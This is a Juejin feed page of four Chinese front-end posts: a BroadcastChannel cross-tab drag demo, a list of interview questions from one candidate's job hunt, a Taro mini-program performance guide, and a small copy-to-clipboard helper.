在通过小demo的学习,知道多浏览器的玩法后, 接下来的我们会实现一个更有意思的小游戏,通过浏览器化身一个小木棒, 接小球游戏, 先看一下 gif, 接下来的文章会写具体实现


output3.gif


完整代码实现如下


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>

作者:重阳微噪
来源:juejin.cn/post/7304598711992598566
收起阅读 »

一周的努力化为泡影,前端找工作是很难

web
这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget...
继续阅读 »

这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget,二面面试官迟到了10分钟,然后面了半个小时不到,面试官匆匆结束面试,整个过程我也没觉得讲的多差,反正草草收场让我有点懵逼,我后来问HR说没有后续了,很可能我是被当成KPI了。下周继续努力吧!!!


以下是我这周的面试题。


1. 天学网


面试时间


一面:2023/11/06 10:00 腾讯会议


二面:2023/11/07 19:00 腾讯会议


一面问题




  1. 自我介绍

  2. 介绍一下你在上家公司的主要工作

  3. 介绍一个你之前过往工作中最满意的一个项目

  4. 你在这个项目中做的性能优化的事情有哪些?

  5. webworker中为什么能提升js执行的性能?

  6. 你是怎么使用webworker的?

  7. 浏览器内存你在实战中处理过吗?

  8. 浏览器的垃圾回收机制是什么样的?

  9. 你在做微前端的时候,为什么选择qiankun

  10. qiankun的原理了解哪些

  11. 你在使用qiankun的时候,有没有发现这个框架的不足之处

  12. 使用ts的时候,有没有什么心得

  13. ts注解用过没有?是什么?

  14. webpack熟悉吗?webpack打包流程是什么?

  15. 你在公司制定前端规范的时候,都有哪些内容

  16. 场景题:答案评分,根据给定的答案和作答打分,如何设计?



二面问题




  1. 问了一下工作经历

  2. 说一个自己的满意的项目

  3. 业务场景:负责的项目,用户反馈体验不友好,该如何优化



做教学工具的,也算是教育行业,下周二面。


2. 小黑盒


面试时间


一面:2023/11/06 15:00 牛客网面试


面试问题




  1. coding

    1. 中位数

    2. 孩子发糖果

    3. 无重叠区间





错一个直接挂。。。无情哈拉少。


3. bitget


面试时间


一面:2023/11/07 16:00 腾讯会议面试


一面问题




  1. 自我介绍

  2. 小程序跟H5的区别是什么?

  3. react和vue的语法是是如何在小程序中运行的?

  4. uni-app是如何打包成各个平台能运行的代码的?

  5. vue3中做了哪些优化?

  6. vue2和vue3的响应式有什么区别?

  7. vue中的watchEffect是什么?

  8. nextjs中运行时机制什么样?你们自己封装的还是?

  9. interface和type的区别是什么?

  10. vite、webpack、roolup的区别是什么?你怎么选择

  11. promise有哪些方法?

  12. coding题

  13. 手写Promise.all



二面问题




  1. 自我介绍

  2. 工作经历

  3. 为什么一直在教育行业

  4. 前端监控如何设计

  5. 讲一个你过往项目中遇到的问题,如何解决的



感觉更像是在搞KPI,最后二面草草结束,也没给我机会提问题。


4. 冲云破雾科技


面试时间


2023-11-08 16:00


薪资范围


30-50K 16薪


面试问题




  1. 自我介绍

  2. 数组乱序

  3. 一个数组,里面是[{name: 'xxx', 'age': 12, ....}],请根据name或者age进行排序,如果name中有中文是如何排序的

  4. 在vue中,v-modal是如何传递给子组件的

  5. 密码校验,要求包含大小写字母,数字,长度为6,至少满足三个条件

  6. 布局适配问题,响应式,rem,em,flex等



这是一家专门搞小程序算是,公司没有前端,跟第三方合作,面试我的也是第三方的前端,问的问题也比较偏业务场景。最后没啥结果了。


5. 燃数科技


薪资范围


25-40K*14薪


面试时间


2023/11/09 11:00-11:30


面试问题




  1. 自我介绍

  2. 低代码如何设计的

  3. react路由原理

  4. react生命周期

  5. 什么是回调地狱,如何解决

  6. jwt和session有什么区别

  7. js文件相互引用有什么问题?如何解决

  8. 一个很大的json文件,前端读取如何优化



面试我的不像是前端,更像是个后端,公司目前有两个前端,之前离职一个,现在想找一个填补空缺。做低代码可视化平台的。下周线下二面。


6. 58同城


面试时间


2023/11/10 10:30-11:30


面试题




  1. 自我介绍

  2. coding

    1. 三数之和

    2. 连续正整数之和



  3. 最新了解的一些前端新技术

    1. vite为什么比webpack快

    2. vite的预构建是如何做的

    3. tree-shaking是如何做的,commonjs能用吗



  4. 微前端了解过哪些框架,如何选型

    1. qiankun的js沙箱和css沙箱原理是啥



  5. 讲讲你做的低代码平台

    1. 你觉得这个低代码平台跟别的比有什么优势或者有什么亮点吗?

    2. 实时预览功能是如何做的?

    3. 有没有版本回退功能?



  6. 讲一个你做的比较拿手的项目

    1. SDK

    2. 脚手架

    3. 难点是什么?

    4. 技术亮点是什么?





总结面试不足:coding能力有待提高,项目对于大厂面试来说不够有亮点,难度不够,对于技术细节不够深入。下周继续加油,噢力给给!!!😭😭😭


如果你现在正在找工作,可以关注一下我的公众号「白哥学前端」,进群领取前端面试小册,和群友一起交流。本群承诺没有任何交易,没有买卖,权当为了督促我自己,也为了找到志同道合的道友一起渡劫。


作者:白哥学前端
来源:juejin.cn/post/7299392213481439243
收起阅读 »

Taro | 高性能小程序的最佳实践

web
前言 作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。 熟悉 Taro...
继续阅读 »

前言


作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。


熟悉 Taro 的开发者应该知道,相比于 Taro 1/2,Taro 3 是一个更加注重运行时而轻量化编译时的框架。它的优势在于提供了更高效的代码编写方式,并拥有更丰富的生态系统。然而,这也意味着在性能方面可能会有一些损耗。


但是,使用 Taro 3 并不意味着我们必须牺牲应用的性能。事实上,Taro 已经提供了一系列的性能优化方法,并且不断探索更加极致的优化方案。


本文将为大家提供一些小程序开发的最佳实践,帮助大家最大程度地提升小程序应用的性能表现。


一、如何提升初次渲染性能


如果初次渲染的数据量非常大,可能会导致页面在加载过程中出现一段时间的白屏。为了解决这个问题,Taro 提供了预渲染功能(Prerender)。


使用 Prerender 非常简单,只需在项目根目录下的 config 文件夹中找到 index.js/dev.js/prod.js 三者中的任意一个项目配置文件,并根据项目情况进行修改。在编译时,Taro CLI 会根据你的配置自动启动预渲染功能。


const config = {
...
mini: {
prerender: {
match: 'pages/shop/**', // 所有以 `pages/shop/` 开头的页面都参与 prerender
include: ['pages/any/way/index'], // `pages/any/way/index` 也会参与 prerender
exclude: ['pages/shop/index/index'] // `pages/shop/index/index` 不用参与 prerender
}
}
};

module.exports = config


更详细说明请参考官方文档:taro-docs.jd.com/docs/preren…



二、如何提升更新性能


由于 Taro 使用小程序的 template 进行渲染,这会引发一个问题:所有的 setData 更新都需要由页面对象调用。当页面结构较为复杂时,更新的性能可能会下降。


当层级过深时,setData 的数据结构如下:


page.setData({
'root.cn.[0].cn.[0].cn.[0].cn.[0].markers': [],
})

期望的 setData 数据结构:


component.setData({
'cn.[0].cn.[0].markers': [],
})

目前有两种方法可以实现上述结构,以实现局部更新的效果,从而提升更新性能:


1. 全局配置项 baseLevel


对于不支持模板递归的小程序(例如微信、QQ、京东小程序等),当 DOM 层级达到一定数量后,Taro 会利用原生自定义组件来辅助递归渲染。简单来说,当 DOM 结构超过 N 层时,Taro 将使用原生自定义组件进行渲染(可以通过修改配置项 baseLevel 来调整 N 的值,建议设置为 8 或 4)。


需要注意的是,由于这是全局设置,可能会带来一些问题,例如:



  • 在跨原生自定义组件时,flex 布局会失效(这是影响最大的问题);

  • SelectorQuery.select 方法中,跨自定义组件的后代选择器写法需要增加 >>>:.the-ancestor >>> .the-descendant


2. 使用 CustomWrapper 组件


CustomWrapper 组件的作用是创建一个原生自定义组件,用于调用后代节点的 setData 方法,以实现局部更新的效果。


我们可以使用它来包裹那些遇到更新性能问题的模块,例如:


import { View, Text } from '@tarojs/components'

export default function () {
return (
<View className="index">
<Text>Demo</Text>
<CustomWrapper>
<GoodsList />
</CustomWrapper>
</View>

)
}

三、如何提升长列表性能


长列表是常见的组件,当生成或加载的数据量非常大时,可能会导致严重的性能问题,尤其在低端机上可能会出现明显的卡顿现象。


为了解决长列表的问题,Taro 提供了 VirtualList 组件和 VirtualWaterfall 组件。它们的原理是只渲染当前可见区域(Visible Viewport)的视图,非可见区域的视图在用户滚动到可见区域时再进行渲染,以提高长列表滚动的流畅性。


image


1. VirtualList 组件(虚拟列表)


以 React Like 框架使用为例,可以直接引入组件:


import VirtualList from '@tarojs/components/virtual-list'

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualList
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



2. VirtualWaterfall 组件(虚拟瀑布流)


以 React Like 框架使用为例,可以直接引入组件:


import { VirtualWaterfall } from `@tarojs/components-advanced`

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualWaterfall
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



四、如何避免 setData 数据量较大


众所周知,对小程序性能的影响较大的主要有两个因素,即 setData 的数据量和单位时间内调用 setData 函数的次数。在 Taro 中,会对 setData 进行批量更新操作,因此通常只需要关注 setData 的数据量大小。下面通过几个例子来说明如何避免数据量过大的问题:


例子 1:删除楼层节点要谨慎处理


目前 Taro 在处理节点删除方面存在一些缺陷。假设存在以下代码写法:


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
{isShowModal && <Modal />}
</View>

isShowModaltrue 变为 false 时,模态弹窗会消失。此时,Modal 组件的兄弟节点都会被更新,setData 的数据是 Slider + Goods 组件的 DOM 节点信息。


一般情况下,这不会对性能产生太大影响。然而,如果待删除节点的兄弟节点的 DOM 结构非常复杂,比如一个个楼层组件,删除操作的副作用会导致 setData 的数据量变大,从而影响性能。


为了解决这个问题,可以通过隔离删除操作来进行优化。


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
<View>
{isShowModal && <Modal />}
</View>

</View>

例子 2:基础组件的属性要保持引用


当基础组件(例如 ViewInput 等)的属性值为非基本类型时,假设存在以下代码写法:


<Map
latitude={22.53332}
longitude={113.93041}
markers={[
{
latitude: 22.53332,
longitude: 113.93041,
},
]}
/>

每次渲染时,React 会对基础组件的属性进行浅比较。如果发现 markers 的引用不同,就会触发组件属性的更新。这最终导致了 setData 操作的频繁执行和数据量的增加。 为了解决这个问题,可以使用状态(state)或闭包等方法来保持对象的引用,从而避免不必要的更新。


<Map
latitude={22.53332}
longitude={113.93041}
markers={this.state.markers}
/>

五、更多最佳实践


1. 阻止滚动穿透


在小程序开发中,当存在滑动蒙层、弹窗等覆盖式元素时,滑动事件会冒泡到页面上,导致页面元素也会跟着滑动。通常我们会通过设置 catchTouchMove 来阻止事件冒泡。


然而,由于 Taro3 事件机制的限制,小程序事件都是以 bind 的形式进行绑定。因此,与 Taro1/2 不同,调用 e.stopPropagation() 并不能阻止滚动事件的穿透。


解决办法 1:使用样式(推荐)


可以为需要禁用滚动的组件编写以下样式:


{
overflow:hidden;
height: 100vh;
}

解决办法 2:使用 catchMove


对于极个别的组件,比如 Map 组件,即使使用样式固定宽高也无法阻止滚动,因为这些组件本身具有滚动的功能。因此,第一种方法无法处理冒泡到 Map 组件上的滚动事件。 在这种情况下,可以为 View 组件添加 catchMove 属性:


// 这个 View 组件会绑定 catchtouchmove 事件而不是 bindtouchmove
<View catchMove />

2. 跳转预加载


在小程序中,当调用 Taro.navigateTo 等跳转类 API 后,新页面的 onLoad 事件会有一定的延时。因此,为了提高用户体验,可以将一些操作(如网络请求)提前到调用跳转 API 之前执行。


对于熟悉 Taro 的开发者来说,可能会记得在 Taro 1/2 中有一个名为 componentWillPreload 的钩子函数。然而,在 Taro 3 中,这个钩子函数已经被移除了。不过,开发者可以使用 Taro.preload() 方法来实现跳转预加载的效果:


// pages/index.js
Taro.preload(fetchSomething())
Taro.navigateTo({ url: '/pages/detail' })

// pages/detail.js
console.log(getCurrentInstance().preloadData)

3. 建议把 Taro.getCurrentInstance() 的结果保存下来


在开发过程中,我们经常会使用 Taro.getCurrentInstance() 方法来获取小程序的 apppage 对象以及路由参数等数据。然而,频繁地调用该方法可能会导致一些问题。


因此,建议将 Taro.getCurrentInstance() 的结果保存在组件中,并在需要时直接使用,以避免频繁调用该方法。这样可以提高代码的执行效率和性能。


class Index extends React.Component {
inst = Taro.getCurrentInstance()

componentDidMount() {
console.log(this.inst)
}
}

六、预告:小程序编译模式(CompileMode)


Taro 一直追求并不断突破性能的极限,除了以上提供的最佳实践,我们即将推出小程序编译模式(CompileMode)。


什么是 CompileMode?


前面已经说过,Taro3 是一种重运行时的框架,当节点数量增加到一定程度时,渲染性能会显著下降。 因此,为了解决这个问题,Taro 引入了 CompileMode 编译模式。


CompileMode 在编译阶段对开发者的代码进行扫描,将 JSXVue template 代码提前编译为相应的小程序模板代码。这样可以减少小程序渲染层虚拟 DOM 树节点的数量,从而提高渲染性能。 通过使用 CompileMode,可以有效减少小程序的渲染负担,提升应用的性能表现。


如何使用?


开发者只需为小程序的基础组件添加 compileMode 属性,该组件及其子组件将会被编译为独立的小程序模板。


function GoodsItem () {
return (
<View compileMode>
...
</View>

)
}


目前第一阶段的开发工作已经完成,我们即将发布 Beta 版本,欢迎大家关注!
想提前了解的可以查看 RFC 文档: github.com/NervJS/taro…



结尾


通过采用 Taro 的最佳实践,我们相信您的小程序应用性能一定会有显著的提升。未来,我们将持续探索更多优化方案,覆盖更广泛的应用场景,为开发者提供更高效、更优秀的开发体验。


作者:凹凸实验室
来源:juejin.cn/post/7304584222963613715
收起阅读 »

将文字复制到剪切板

web
笔者在开发过程中遇到点击按钮之后将文字复制到剪切板的需求,先将按钮的回调函数封装起来,便于以后使用,需要的朋友可以自取~ const _copyToClipboard = staticPart => dynamicPart => { i...
继续阅读 »

笔者在开发过程中遇到点击按钮之后将文字复制到剪切板的需求,先将按钮的回调函数封装起来,便于以后使用,需要的朋友可以自取~


  const _copyToClipboard = staticPart => dynamicPart => {
if (!dynamicPart) return;
const textToCopy = `${staticPart}${dynamicPart}`;
const tempInput = document.createElement('input');
tempInput.value = textToCopy;
document.body.appendChild(tempInput);
tempInput.select();
document.execCommand('copy');
document.body.removeChild(tempInput);
};

这个函数将复制到剪切板中的内容分成两个部分:静态的和动态的,因此在使用的时候可以这样做:


const copyFunc = _copyToClipboard('http://localhost:3000/api?id=');
copyFunc('678');
copyFunc('123');

作者:慕仲卿
来源:juejin.cn/post/7304538094783184937
收起阅读 »